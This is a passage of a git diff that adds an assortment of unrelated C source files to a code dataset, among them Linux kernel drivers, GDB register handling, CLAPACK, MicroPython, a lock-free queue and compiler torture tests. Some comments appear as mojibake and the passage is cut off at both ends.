+ node_t *node; + event_t *event; + while((node = list_remove_at(list, 0, active_null)) != NULL) { + event = (event_t *)node->data; + event->event_function(event->data); + if (free_data) free(event->data); + free(node->data); + free(node); + } +} + diff --git a/pool/shard011/C/0142126_pci-tx4939.c b/pool/shard011/C/0142126_pci-tx4939.c new file mode 100644 index 0000000000000000000000000000000000000000..9d6acc00f3489ddbf4558aa1d67568899e7eea9f --- /dev/null +++ b/pool/shard011/C/0142126_pci-tx4939.c @@ -0,0 +1,107 @@ +/* + * Based on linux/arch/mips/txx9/rbtx4939/setup.c, + * and RBTX49xx patch from CELF patch archive. + * + * Copyright 2001, 2003-2005 MontaVista Software Inc. + * Copyright (C) 2004 by Ralf Baechle (ralf@linux-mips.org) + * (C) Copyright TOSHIBA CORPORATION 2000-2001, 2004-2007 + * + * This file is subject to the terms and conditions of the GNU General Public + * License. See the file "COPYING" in the main directory of this archive + * for more details. + */ +#include +#include +#include +#include +#include +#include + +int __init tx4939_report_pciclk(void) +{ + int pciclk = 0; + + pr_info("PCIC --%s PCICLK:", + (__raw_readq(&tx4939_ccfgptr->ccfg) & TX4939_CCFG_PCI66) ? + " PCI66" : ""); + if (__raw_readq(&tx4939_ccfgptr->pcfg) & TX4939_PCFG_PCICLKEN_ALL) { + pciclk = txx9_master_clock * 20 / 6; + if (!(__raw_readq(&tx4939_ccfgptr->ccfg) & TX4939_CCFG_PCI66)) + pciclk /= 2; + pr_cont("Internal(%u.%uMHz)", + (pciclk + 50000) / 1000000, + ((pciclk + 50000) / 100000) % 10); + } else { + pr_cont("External"); + pciclk = -1; + } + pr_cont("\n"); + return pciclk; +} + +void __init tx4939_report_pci1clk(void) +{ + unsigned int pciclk = txx9_master_clock * 20 / 6; + + pr_info("PCIC1 -- PCICLK:%u.%uMHz\n", + (pciclk + 50000) / 1000000, + ((pciclk + 50000) / 100000) % 10); +} + +int __init tx4939_pcic1_map_irq(const struct pci_dev *dev, u8 slot) +{ + if (get_tx4927_pcicptr(dev->bus->sysdata) == tx4939_pcic1ptr) { + switch (slot) { + case TX4927_PCIC_IDSEL_AD_TO_SLOT(31): + if (__raw_readq(&tx4939_ccfgptr->pcfg) & + TX4939_PCFG_ET0MODE) + return TXX9_IRQ_BASE + TX4939_IR_ETH(0); + break; + case TX4927_PCIC_IDSEL_AD_TO_SLOT(30): + if (__raw_readq(&tx4939_ccfgptr->pcfg) & + TX4939_PCFG_ET1MODE) + return TXX9_IRQ_BASE + TX4939_IR_ETH(1); + break; + } + return 0; + } + return -1; +} + +int __init tx4939_pci_map_irq(const struct pci_dev *dev, u8 slot, u8 pin) +{ + int irq = tx4939_pcic1_map_irq(dev, slot); + + if (irq >= 0) + return irq; + irq = pin; + /* IRQ rotation */ + irq--; /* 0-3 */ + irq = (irq + 33 - slot) % 4; + irq++; /* 1-4 */ + + switch (irq) { + case 1: + irq = TXX9_IRQ_BASE + TX4939_IR_INTA; + break; + case 2: + irq = TXX9_IRQ_BASE + TX4939_IR_INTB; + break; + case 3: + irq = TXX9_IRQ_BASE + TX4939_IR_INTC; + break; + case 4: + irq = TXX9_IRQ_BASE + TX4939_IR_INTD; + break; + } + return irq; +} + +void __init tx4939_setup_pcierr_irq(void) +{ + if (request_irq(TXX9_IRQ_BASE + TX4939_IR_PCIERR, + tx4927_pcierr_interrupt, + 0, "PCI error", + (void *)TX4939_PCIC_REG)) + pr_warn("Failed to request irq for PCIERR\n"); +} diff --git a/pool/shard011/C/0142127_cpufreq_limit.c b/pool/shard011/C/0142127_cpufreq_limit.c new file mode 100644 index 0000000000000000000000000000000000000000..2ee4df2465f4a81001dfc376e54c410fa7e0ad3d --- /dev/null +++ b/pool/shard011/C/0142127_cpufreq_limit.c @@ -0,0 +1,206 @@ +/* + * drivers/cpufreq/cpufreq_limit.c + * + * Copyright (c) 2012 Samsung Electronics Co., Ltd. + * Minsung Kim + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 as + * published by the Free Software Foundation. + */ + +#include +#include +#include +#include +#include +#include +#include + +struct cpufreq_limit_handle { + struct list_head node; + unsigned long min; + unsigned long max; + char label[20]; +}; + +static DEFINE_MUTEX(cpufreq_limit_lock); +static LIST_HEAD(cpufreq_limit_requests); + +/** + * cpufreq_limit_get - limit min_freq or max_freq, return cpufreq_limit_handle + * @min_freq limit minimum frequency (0: none) + * @max_freq limit maximum frequency (0: none) + * @label a literal description string of this request + */ +struct cpufreq_limit_handle *cpufreq_limit_get(unsigned long min_freq, + unsigned long max_freq, char *label) +{ + struct cpufreq_limit_handle *handle; + int i; + + if (max_freq && max_freq < min_freq) + return ERR_PTR(-EINVAL); + + handle = kzalloc(sizeof(*handle), GFP_KERNEL); + if (!handle) + return ERR_PTR(-ENOMEM); + + pr_debug("%s: %s,%lu,%lu\n", __func__, handle->label, handle->min, + handle->max); + + handle->min = min_freq; + handle->max = max_freq; + + if (strlen(label) < sizeof(handle->label)) + strcpy(handle->label, label); + else + strncpy(handle->label, label, sizeof(handle->label) - 1); + + mutex_lock(&cpufreq_limit_lock); + list_add_tail(&handle->node, &cpufreq_limit_requests); + mutex_unlock(&cpufreq_limit_lock); + + for_each_online_cpu(i) + cpufreq_update_policy(i); + + return handle; +} + +/** + * cpufreq_limit_put - release of a limit of min_freq or max_freq, free + * a cpufreq_limit_handle + * @handle a cpufreq_limit_handle that has been requested + */ +int cpufreq_limit_put(struct cpufreq_limit_handle *handle) +{ + int i; + + if (handle == NULL || IS_ERR(handle)) + return -EINVAL; + + pr_debug("%s: %s,%lu,%lu\n", __func__, handle->label, handle->min, + handle->max); + + mutex_lock(&cpufreq_limit_lock); + list_del(&handle->node); + mutex_unlock(&cpufreq_limit_lock); + + for_each_online_cpu(i) + cpufreq_update_policy(i); + + kfree(handle); + return 0; +} + +static int cpufreq_limit_notifier_policy(struct notifier_block *nb, + unsigned long val, void *data) +{ + struct cpufreq_policy *policy = data; + struct cpufreq_limit_handle *handle; + unsigned long min = 0, max = ULONG_MAX; + + if (val != CPUFREQ_ADJUST) + goto done; + + mutex_lock(&cpufreq_limit_lock); + list_for_each_entry(handle, &cpufreq_limit_requests, node) { + if (handle->min > min) + min = handle->min; + if (handle->max && handle->max < max) + max = handle->max; + } + +#ifdef CONFIG_SEC_PM + pr_debug("CPUFREQ(%d): %s: umin=%d,umax=%d\n", + policy->cpu, __func__, policy->user_policy.min, policy->user_policy.max); + + if (policy->user_policy.min > min) + min = policy->user_policy.min; + if (policy->user_policy.max && policy->user_policy.max < max) + max = policy->user_policy.max; +#endif + + mutex_unlock(&cpufreq_limit_lock); + + if (!min && max == ULONG_MAX) + goto done; + + if (!min) + min = policy->cpuinfo.min_freq; + if (max == ULONG_MAX) + max = policy->cpuinfo.max_freq; + + pr_debug("%s: limiting cpu%d cpufreq to %lu,%lu", __func__, + policy->cpu, min, max); + + cpufreq_verify_within_limits(policy, min, max); +done: + return 0; + +} + +static struct notifier_block notifier_policy_block = { + .notifier_call = cpufreq_limit_notifier_policy +}; + +static ssize_t show_cpufreq_limit_requests(struct kobject *kobj, + struct attribute *attr, char *buf) +{ + struct cpufreq_limit_handle *handle; + ssize_t len = 0; + + mutex_lock(&cpufreq_limit_lock); + list_for_each_entry(handle, &cpufreq_limit_requests, node) { + len += sprintf(buf + len, "%s\t%lu\t%lu\n", handle->label, + handle->min, handle->max); + } + mutex_unlock(&cpufreq_limit_lock); + + return len; +} + +static struct global_attr cpufreq_limit_requests_attr = + __ATTR(cpufreq_limit_requests, 0444, show_cpufreq_limit_requests, NULL); + +static struct attribute *limit_attributes[] = { + &cpufreq_limit_requests_attr.attr, + NULL, +}; + +static struct attribute_group limit_attr_group = { + .attrs = limit_attributes, + .name = "cpufreq_limit", +}; + +static int __init cpufreq_limit_init(void) +{ + int ret; + + ret = cpufreq_register_notifier(¬ifier_policy_block, + CPUFREQ_POLICY_NOTIFIER); + if (ret) + return ret; + + ret = sysfs_create_group(cpufreq_global_kobject, + &limit_attr_group); + if (ret) + return ret; + + return 0; +} + +static void __exit cpufreq_limit_exit(void) +{ + cpufreq_unregister_notifier(¬ifier_policy_block, + CPUFREQ_POLICY_NOTIFIER); + + sysfs_remove_group(cpufreq_global_kobject, &limit_attr_group); +} + +MODULE_AUTHOR("Minsung Kim "); +MODULE_DESCRIPTION("'cpufreq_limit' - A driver to limit cpu frequency"); +MODULE_LICENSE("GPL"); + +module_init(cpufreq_limit_init); +module_exit(cpufreq_limit_exit); diff --git a/pool/shard011/C/0142128_i386v4-nat.c b/pool/shard011/C/0142128_i386v4-nat.c new file mode 100644 index 0000000000000000000000000000000000000000..35255905836b362679872ade7a267c98cda2e726 --- /dev/null +++ b/pool/shard011/C/0142128_i386v4-nat.c @@ -0,0 +1,163 @@ +/* Native-dependent code for Unix SVR4 running on i386's. + + Copyright (C) 1988-2015 Free Software Foundation, Inc. + + This file is part of GDB. + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . */ + +#include "defs.h" +#include "value.h" +#include "inferior.h" +#include "regcache.h" + +#ifdef HAVE_SYS_REG_H +#include +#endif + +#include "i386-tdep.h" +#include "i387-tdep.h" + +#ifdef HAVE_SYS_PROCFS_H + +#include + +/* We must not compile this code for 64-bit Solaris x86. */ +#if !defined (PR_MODEL_NATIVE) || (PR_MODEL_NATIVE == PR_MODEL_ILP32) + +#include "gregset.h" + +/* The `/proc' interface divides the target machine's register set up + into two different sets, the general purpose register set (gregset) + and the floating-point register set (fpregset). For each set, + there is an ioctl to get the current register set and another ioctl + to set the current values. + + The actual structure passed through the ioctl interface is, of + course, naturally machine dependent, and is different for each set + of registers. For the i386 for example, the general-purpose + register set is typically defined by: + + typedef int gregset_t[19]; (in ) + + #define GS 0 (in ) + #define FS 1 + ... + #define UESP 17 + #define SS 18 + + and the floating-point set by: + + typedef struct fpregset { + union { + struct fpchip_state // fp extension state // + { + int state[27]; // 287/387 saved state // + int status; // status word saved at // + // exception // + } fpchip_state; + struct fp_emul_space // for emulators // + { + char fp_emul[246]; + char fp_epad[2]; + } fp_emul_space; + int f_fpregs[62]; // union of the above // + } fp_reg_set; + long f_wregs[33]; // saved weitek state // + } fpregset_t; + + Incidentally fpchip_state contains the FPU state in the same format + as used by the "fsave" instruction, and that's the only thing we + support here. I don't know how the emulator stores it state. The + Weitek stuff definitely isn't supported. + + The routines defined here, provide the packing and unpacking of + gregset_t and fpregset_t formatted data. */ + +#ifdef HAVE_GREGSET_T + +/* Mapping between the general-purpose registers in `/proc' + format and GDB's register array layout. */ +static int regmap[] = +{ + EAX, ECX, EDX, EBX, + UESP, EBP, ESI, EDI, + EIP, EFL, CS, SS, + DS, ES, FS, GS +}; + +/* Fill GDB's register array with the general-purpose register values + in *GREGSETP. */ + +void +supply_gregset (struct regcache *regcache, const gregset_t *gregsetp) +{ + const greg_t *regp = (const greg_t *) gregsetp; + int regnum; + + for (regnum = 0; regnum < I386_NUM_GREGS; regnum++) + regcache_raw_supply (regcache, regnum, regp + regmap[regnum]); +} + +/* Fill register REGNUM (if it is a general-purpose register) in + *GREGSETPS with the value in GDB's register array. If REGNUM is -1, + do this for all registers. */ + +void +fill_gregset (const struct regcache *regcache, + gregset_t *gregsetp, int regnum) +{ + greg_t *regp = (greg_t *) gregsetp; + int i; + + for (i = 0; i < I386_NUM_GREGS; i++) + if (regnum == -1 || regnum == i) + regcache_raw_collect (regcache, i, regp + regmap[i]); +} + +#endif /* HAVE_GREGSET_T */ + +#ifdef HAVE_FPREGSET_T + +/* Fill GDB's register array with the floating-point register values in + *FPREGSETP. */ + +void +supply_fpregset (struct regcache *regcache, const fpregset_t *fpregsetp) +{ + if (gdbarch_fp0_regnum (get_regcache_arch (regcache)) == 0) + return; + + i387_supply_fsave (regcache, -1, fpregsetp); +} + +/* Fill register REGNO (if it is a floating-point register) in + *FPREGSETP with the value in GDB's register array. If REGNO is -1, + do this for all registers. */ + +void +fill_fpregset (const struct regcache *regcache, + fpregset_t *fpregsetp, int regno) +{ + if (gdbarch_fp0_regnum (get_regcache_arch (regcache)) == 0) + return; + + i387_collect_fsave (regcache, regno, fpregsetp); +} + +#endif /* HAVE_FPREGSET_T */ + +#endif /* not 64-bit. */ + +#endif /* HAVE_SYS_PROCFS_H */ diff --git a/pool/shard011/C/0142129_slauu2.c b/pool/shard011/C/0142129_slauu2.c new file mode 100644 index 0000000000000000000000000000000000000000..a311f1f118526693624d10750f0ee942c195056e --- /dev/null +++ b/pool/shard011/C/0142129_slauu2.c @@ -0,0 +1,167 @@ +#include "clapack.h" + +/* Table of constant values */ + +static real c_b7 = 1.f; +static integer c__1 = 1; + +/* Subroutine */ int slauu2_(char *uplo, integer *n, real *a, integer *lda, + integer *info) +{ + /* System generated locals */ + integer a_dim1, a_offset, i__1, i__2, i__3; + + /* Local variables */ + integer i__; + real aii; + extern doublereal sdot_(integer *, real *, integer *, real *, integer *); + extern logical lsame_(char *, char *); + extern /* Subroutine */ int sscal_(integer *, real *, real *, integer *), + sgemv_(char *, integer *, integer *, real *, real *, integer *, + real *, integer *, real *, real *, integer *); + logical upper; + extern /* Subroutine */ int xerbla_(char *, integer *); + + +/* -- LAPACK auxiliary routine (version 3.1) -- */ +/* Univ. of Tennessee, Univ. of California Berkeley and NAG Ltd.. */ +/* November 2006 */ + +/* .. Scalar Arguments .. */ +/* .. */ +/* .. Array Arguments .. */ +/* .. */ + +/* Purpose */ +/* ======= */ + +/* SLAUU2 computes the product U * U' or L' * L, where the triangular */ +/* factor U or L is stored in the upper or lower triangular part of */ +/* the array A. */ + +/* If UPLO = 'U' or 'u' then the upper triangle of the result is stored, */ +/* overwriting the factor U in A. */ +/* If UPLO = 'L' or 'l' then the lower triangle of the result is stored, */ +/* overwriting the factor L in A. */ + +/* This is the unblocked form of the algorithm, calling Level 2 BLAS. */ + +/* Arguments */ +/* ========= */ + +/* UPLO (input) CHARACTER*1 */ +/* Specifies whether the triangular factor stored in the array A */ +/* is upper or lower triangular: */ +/* = 'U': Upper triangular */ +/* = 'L': Lower triangular */ + +/* N (input) INTEGER */ +/* The order of the triangular factor U or L. N >= 0. */ + +/* A (input/output) REAL array, dimension (LDA,N) */ +/* On entry, the triangular factor U or L. */ +/* On exit, if UPLO = 'U', the upper triangle of A is */ +/* overwritten with the upper triangle of the product U * U'; */ +/* if UPLO = 'L', the lower triangle of A is overwritten with */ +/* the lower triangle of the product L' * L. */ + +/* LDA (input) INTEGER */ +/* The leading dimension of the array A. LDA >= max(1,N). */ + +/* INFO (output) INTEGER */ +/* = 0: successful exit */ +/* < 0: if INFO = -k, the k-th argument had an illegal value */ + +/* ===================================================================== */ + +/* .. Parameters .. */ +/* .. */ +/* .. Local Scalars .. */ +/* .. */ +/* .. External Functions .. */ +/* .. */ +/* .. External Subroutines .. */ +/* .. */ +/* .. Intrinsic Functions .. */ +/* .. */ +/* .. Executable Statements .. */ + +/* Test the input parameters. */ + + /* Parameter adjustments */ + a_dim1 = *lda; + a_offset = 1 + a_dim1; + a -= a_offset; + + /* Function Body */ + *info = 0; + upper = lsame_(uplo, "U"); + if (! upper && ! lsame_(uplo, "L")) { + *info = -1; + } else if (*n < 0) { + *info = -2; + } else if (*lda < max(1,*n)) { + *info = -4; + } + if (*info != 0) { + i__1 = -(*info); + xerbla_("SLAUU2", &i__1); + return 0; + } + +/* Quick return if possible */ + + if (*n == 0) { + return 0; + } + + if (upper) { + +/* Compute the product U * U'. */ + + i__1 = *n; + for (i__ = 1; i__ <= i__1; ++i__) { + aii = a[i__ + i__ * a_dim1]; + if (i__ < *n) { + i__2 = *n - i__ + 1; + a[i__ + i__ * a_dim1] = sdot_(&i__2, &a[i__ + i__ * a_dim1], + lda, &a[i__ + i__ * a_dim1], lda); + i__2 = i__ - 1; + i__3 = *n - i__; + sgemv_("No transpose", &i__2, &i__3, &c_b7, &a[(i__ + 1) * + a_dim1 + 1], lda, &a[i__ + (i__ + 1) * a_dim1], lda, & + aii, &a[i__ * a_dim1 + 1], &c__1); + } else { + sscal_(&i__, &aii, &a[i__ * a_dim1 + 1], &c__1); + } +/* L10: */ + } + + } else { + +/* Compute the product L' * L. */ + + i__1 = *n; + for (i__ = 1; i__ <= i__1; ++i__) { + aii = a[i__ + i__ * a_dim1]; + if (i__ < *n) { + i__2 = *n - i__ + 1; + a[i__ + i__ * a_dim1] = sdot_(&i__2, &a[i__ + i__ * a_dim1], & + c__1, &a[i__ + i__ * a_dim1], &c__1); + i__2 = *n - i__; + i__3 = i__ - 1; + sgemv_("Transpose", &i__2, &i__3, &c_b7, &a[i__ + 1 + a_dim1], + lda, &a[i__ + 1 + i__ * a_dim1], &c__1, &aii, &a[i__ + + a_dim1], lda); + } else { + sscal_(&i__, &aii, &a[i__ + a_dim1], lda); + } +/* L20: */ + } + } + + return 0; + +/* End of SLAUU2 */ + +} /* slauu2_ */ diff --git a/pool/shard011/C/0142130_modmicropython.c b/pool/shard011/C/0142130_modmicropython.c new file mode 100644 index 0000000000000000000000000000000000000000..ed245969cff27ec3dd4a50657548421845af7f40 --- /dev/null +++ b/pool/shard011/C/0142130_modmicropython.c @@ -0,0 +1,52 @@ +#include "misc.h" +#include "mpconfig.h" +#include "qstr.h" +#include "obj.h" +#include "builtin.h" + +// Various builtins specific to MicroPython runtime, +// living in micropython module + +#if MICROPY_MEM_STATS +STATIC mp_obj_t mp_micropython_mem_total() { + return MP_OBJ_NEW_SMALL_INT((machine_int_t)m_get_total_bytes_allocated()); +} + +STATIC mp_obj_t mp_micropython_mem_current() { + return MP_OBJ_NEW_SMALL_INT((machine_int_t)m_get_current_bytes_allocated()); +} + +STATIC mp_obj_t mp_micropython_mem_peak() { + return MP_OBJ_NEW_SMALL_INT((machine_int_t)m_get_peak_bytes_allocated()); +} + +STATIC MP_DEFINE_CONST_FUN_OBJ_0(mp_micropython_mem_total_obj, mp_micropython_mem_total); +STATIC MP_DEFINE_CONST_FUN_OBJ_0(mp_micropython_mem_current_obj, mp_micropython_mem_current); +STATIC MP_DEFINE_CONST_FUN_OBJ_0(mp_micropython_mem_peak_obj, mp_micropython_mem_peak); +#endif + +STATIC const mp_map_elem_t mp_module_micropython_globals_table[] = { + { MP_OBJ_NEW_QSTR(MP_QSTR___name__), MP_OBJ_NEW_QSTR(MP_QSTR_micropython) }, +#if MICROPY_MEM_STATS + { MP_OBJ_NEW_QSTR(MP_QSTR_mem_total), (mp_obj_t)&mp_micropython_mem_total_obj }, + { MP_OBJ_NEW_QSTR(MP_QSTR_mem_current), (mp_obj_t)&mp_micropython_mem_current_obj }, + { MP_OBJ_NEW_QSTR(MP_QSTR_mem_peak), (mp_obj_t)&mp_micropython_mem_peak_obj }, +#endif +}; + +STATIC const mp_obj_dict_t mp_module_micropython_globals = { + .base = {&mp_type_dict}, + .map = { + .all_keys_are_qstrs = 1, + .table_is_fixed_array = 1, + .used = sizeof(mp_module_micropython_globals_table) / sizeof(mp_map_elem_t), + .alloc = sizeof(mp_module_micropython_globals_table) / sizeof(mp_map_elem_t), + .table = (mp_map_elem_t*)mp_module_micropython_globals_table, + }, +}; + +const mp_obj_module_t mp_module_micropython = { + .base = { &mp_type_module }, + .name = MP_QSTR_micropython, + .globals = (mp_obj_dict_t*)&mp_module_micropython_globals, +}; diff --git a/pool/shard011/C/0142131_array.c b/pool/shard011/C/0142131_array.c new file mode 100644 index 0000000000000000000000000000000000000000..8d21a6051db7df6c32b089680a0d17c982d54cb3 --- /dev/null +++ b/pool/shard011/C/0142131_array.c @@ -0,0 +1,62 @@ +/** + * \file array.h + * \author Michal Čihař + * + * String arrays handling code. + */ + +#include "array.h" + +#include +#include + +void GSM_StringArray_New(GSM_StringArray *array) +{ + array->used = 0; + array->allocated = 0; + array->data = NULL; +} + +void GSM_StringArray_Free(GSM_StringArray *array) +{ + size_t i; + for (i = 0; i < array->used; i++) { + free(array->data[i]); + } + free(array->data); + GSM_StringArray_New(array); +} + +gboolean GSM_StringArray_Add(GSM_StringArray *array, const char *string) +{ + char **newdata; + + /* Allocate extra space if needed */ + if (array->used + 1 > array->allocated) { + newdata = realloc(array->data, (array->allocated + 10) * sizeof(char **)); + if (newdata == NULL) return FALSE; + array->allocated += 10; + array->data = newdata; + } + + array->data[array->used] = strdup(string); + if (array->data[array->used] == NULL) return FALSE; + + array->used++; + + return TRUE; +} + +gboolean GSM_StringArray_Find(GSM_StringArray *array, const char *string) +{ + size_t i; + for (i = 0; i < array->used; i++) { + if (strcmp(array->data[i], string) == 0) return TRUE; + } + return FALSE; +} + +/* Editor configuration + * vim: noexpandtab sw=8 ts=8 sts=8 tw=72: + */ + diff --git a/pool/shard011/C/0142132_crypt-aes-test.c b/pool/shard011/C/0142132_crypt-aes-test.c new file mode 100644 index 0000000000000000000000000000000000000000..d940194524034d1d95e37da24004a7b9016f3d0a --- /dev/null +++ b/pool/shard011/C/0142132_crypt-aes-test.c @@ -0,0 +1,62 @@ +#include +#include +#include +#include +#include + +__attribute__((unused)) +static void hexdump(FILE *f, const char *title, + const unsigned char *s, int l) +{ + int n = 0; + fprintf(f, "%s", title); + for (; n<1; ++n) { + if ((n%16) == 0) { + fprintf(f, "\n%04x", n); + } + fprintf(f, " %02x", s[n]); + } + fprintf(f, "\n"); +} + +int +main(int argc, char **argv) +{ + unsigned char rkey[16]; + AES_KEY key; + unsigned char iv[AES_BLOCK_SIZE * 4]; + unsigned char saved_iv[AES_BLOCK_SIZE * 4]; + int nr_of_bits = 0; + int nr_of_bytes = 0; + int num; + + unsigned char plaintext[AES_BLOCK_SIZE * 4]; + unsigned char ciphertext[AES_BLOCK_SIZE * 4]; + unsigned char checktext[AES_BLOCK_SIZE * 4]; + + memset(plaintext, 0, sizeof plaintext); + memset(ciphertext, 0, sizeof ciphertext); + memset(checktext, 0, sizeof checktext); + + RAND_pseudo_bytes(plaintext, sizeof plaintext); + RAND_pseudo_bytes(rkey, sizeof rkey); + RAND_pseudo_bytes(saved_iv, sizeof saved_iv); + + num = 0; + memcpy(iv, saved_iv, sizeof(iv)); + nr_of_bits = 8 * sizeof(rkey); + AES_set_encrypt_key(rkey, nr_of_bits, &key); + nr_of_bytes = sizeof(ciphertext) / 2; + AES_cfb128_encrypt(ciphertext, checktext, nr_of_bytes, &key, iv, &num, AES_ENCRYPT); + + num = 0; + memcpy(iv, saved_iv, sizeof(iv)); + nr_of_bits = 8 * sizeof(rkey); + AES_set_decrypt_key(rkey, nr_of_bits, &key); + AES_cfb128_encrypt(ciphertext + nr_of_bytes, checktext + nr_of_bytes, + nr_of_bytes, &key, iv, &num, AES_DECRYPT); + + printf("字符串为:%s\n", checktext); + + return 0; +} diff --git a/pool/shard011/C/0142133_mpmcq.c b/pool/shard011/C/0142133_mpmcq.c new file mode 100644 index 0000000000000000000000000000000000000000..6299c9cd62bab53031b1fc6325568c5a47417a34 --- /dev/null +++ b/pool/shard011/C/0142133_mpmcq.c @@ -0,0 +1,88 @@ +#include "mpmcq.h" +#include "../mem/pool.h" + +typedef struct mpmcq_node_t mpmcq_node_t; + +struct mpmcq_node_t +{ + mpmcq_node_t* volatile next; + void* volatile data; +}; + +void mpmcq_init(mpmcq_t* q) +{ + mpmcq_node_t* node = POOL_ALLOC(mpmcq_node_t); + node->data = NULL; + node->next = NULL; + + q->head = node; + q->tail.node = node; +} + +void mpmcq_destroy(mpmcq_t* q) +{ + POOL_FREE(mpmcq_node_t, q->tail.node); + q->head = NULL; + q->tail.node = NULL; +} + +void mpmcq_push(mpmcq_t* q, void* data) +{ + mpmcq_node_t* node = POOL_ALLOC(mpmcq_node_t); + node->data = data; + node->next = NULL; + + mpmcq_node_t* prev = (mpmcq_node_t*)_atomic_exchange(&q->head, node); + _atomic_store(&prev->next, node); +} + +void mpmcq_push_single(mpmcq_t* q, void* data) +{ + mpmcq_node_t* node = POOL_ALLOC(mpmcq_node_t); + node->data = data; + node->next = NULL; + + // If we have a single producer, don't use an atomic instruction. + mpmcq_node_t* prev = q->head; + q->head = node; + prev->next = node; +} + +void* mpmcq_pop(mpmcq_t* q) +{ + mpmcq_dwcas_t cmp, xchg; + mpmcq_node_t* next; + + cmp.aba = q->tail.aba; + cmp.node = q->tail.node; + + do + { + // Get the next node rather than the tail. The tail is either a stub or has + // already been consumed. + next = _atomic_load(&cmp.node->next); + + // Bailout if we have no next node. + if(next == NULL) + return NULL; + + // Make the next node the tail, incrementing the aba counter. If this + // fails, cmp becomes the new tail and we retry the loop. + xchg.aba = cmp.aba + 1; + xchg.node = next; + } while(!_atomic_dwcas(&q->tail.dw, &cmp.dw, xchg.dw)); + + // We'll return the data pointer from the next node. + void* data = _atomic_load(&next->data); + + // Since we will be freeing the old tail, we need to be sure no other + // consumer is still reading the old tail. To do this, we set the data + // pointer of our new tail to NULL, and we wait until the data pointer of + // the old tail is NULL. + _atomic_store(&next->data, NULL); + while(_atomic_load(&cmp.node->data) != NULL); + + // Free the old tail. The new tail is the next node. + POOL_FREE(mpmcq_node_t, cmp.node); + return data; +} diff --git a/pool/shard011/C/0142134_Bee_sDate.c b/pool/shard011/C/0142134_Bee_sDate.c new file mode 100644 index 0000000000000000000000000000000000000000..93389d19582566840d954e47dc42d62bbceb627a --- /dev/null +++ b/pool/shard011/C/0142134_Bee_sDate.c @@ -0,0 +1,61 @@ +/* + ============================================================================ + Name : Bee'sDate.c + Author : + Version : + Copyright : Your copyright notice + Description : Hello World in C, Ansi-style + ============================================================================ + */ + +#include +#include + +#define max(x, y) (x > y ? x : y) +void LCS(int [][100], int); + +//Longest Common Subsequence ¡G ³Ì±`¦@¦P¤l§Ç¦C +void LCS(int array[][100], int n) +{ +//void LCS(int (*array)[100], int n) { +//¦pªG¬O¤Gºû°}¦C¡A «h¦Ü¤Ö»Ý­n¶ñ¼g²Ä¤@ºû«×¤¸¯Àªº­Ó¼Æ¡A §_«h¨ç¦¡¤ºµLªk¦s¨ú¨ì¥¿½TªºÅÜ¼Æ +//¨Ò¡Gint array[][]´N¤£¦æ¡A­n¼g¦¨int array[][10]¡Aint array[2][]¤]¤£¦æ +//¤@ºû°}¦C¥i¼g¦¨int array[] +//­Y¤Gºû°}¦C¬Ò»ÝÅܼơA«h­nmalloc + int i, j; + int length[100][100]; + //int length[n][n]¦bC99¼Ð·Ç¤¤¤w¥i¨Ï¥Î¡A¥H«e¬O¤£¤¹³\ªº¡A°}¦Cªº¤j¤p¥²»Ý¬°¤wª¾±`¼Æ + //C99¼Ð·Ç¤¤ªºVLA(Variable-length array) ¡G ¥iÅܪø¼Æ²Õ + + for(i = 0; i != n; i++) { + for(j = 0; j != n; j++) { + if(array[0][i] == array[1][j]) { + //³o¸Ì¥[¤W1¬O«üe1ªºªø«×¬°1 + length[i][j] = length[i - 1][j - 1] + 1; + } else + length[i][j] = max(length[i - 1][j], length[i][j - 1]); + } + } + + printf("LCSªºªø«×¬°¡G%d", length[n - 1][n - 1]); +} + +int main(void) +{ + int n,i, j; + + printf("½Ð¿é¤J¼Æ¦Cªºªø«×¡G"); + fflush(stdin); + scanf("%d", &n); + + int array[2][100]; + + for(i = 0; i != 2; i++) { + for(j = 0; j != n; j++) + scanf("%d", &array[i][j]); + } + + LCS(array, n); + + return EXIT_SUCCESS; +} diff --git a/pool/shard011/C/0142135_gcc-torture-execute-20010915-1.c b/pool/shard011/C/0142135_gcc-torture-execute-20010915-1.c new file mode 100644 index 0000000000000000000000000000000000000000..7eb7eeb8208ce863354430f44d8078ed3a535034 --- /dev/null +++ b/pool/shard011/C/0142135_gcc-torture-execute-20010915-1.c @@ -0,0 +1,86 @@ +/* + 20010915-1.c from the execute part of the gcc torture tests. + */ + +#include + +#ifdef __SDCC +#pragma std_c99 +#pragma disable_warning 85 +#endif + +#include + +/* Bug in reorg.c, deleting the "++" in the last loop in main. + Origin: . */ + +extern void f (void); +extern int x (int, const char **); +extern int r (const char *); +extern char *s (const char *, const char **); +extern char *m (const char *); +char *u; +char *h; +int check = 0; +int o = 0; + +void +testTortureExecute (void) +{ + const char *args[] = {"a", "b", "c", "d", "e"}; + if (x (5, args) != 0 || check != 2 || o != 5) + ASSERT (0); + return; +} + +int x (int argc, const char **argv) +{ + int opt = 0; + char *g = 0; + const char *p = 0; + + if (argc > o && argc > 2 && argv[o]) + { + g = s (argv[o], &p); + if (g) + { + *g++ = '\0'; + h = s (g, &p); + if (g == p) + h = m (g); + } + u = s (argv[o], &p); + if (argv[o] == p) + u = m (argv[o]); + } + else + ASSERT (0); + + while (++o < argc) + if (r (argv[o]) == 0) + return 1; + + return 0; +} + +char *m (const char *x) { ASSERT (0); return 0;} +char *s (const char *v, const char **pp) +{ + if (strcmp (v, "a") != 0 || check++ > 1) + ASSERT (0); + *pp = v+1; + return 0; +} + +int r (const char *f) +{ + static char c[2] = "b"; + static int cnt = 0; + + if (*f != *c || f[1] != c[1] || cnt > 3) + ASSERT (0); + c[0]++; + cnt++; + return 1; +} + diff --git a/pool/shard011/C/0142136_integration_server.c b/pool/shard011/C/0142136_integration_server.c new file mode 100644 index 0000000000000000000000000000000000000000..b52be43d91a15756ac9aea31f55dfabedebc08a8 --- /dev/null +++ b/pool/shard011/C/0142136_integration_server.c @@ -0,0 +1,89 @@ +/* + * Copyright (C) 2017 Kubos Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is 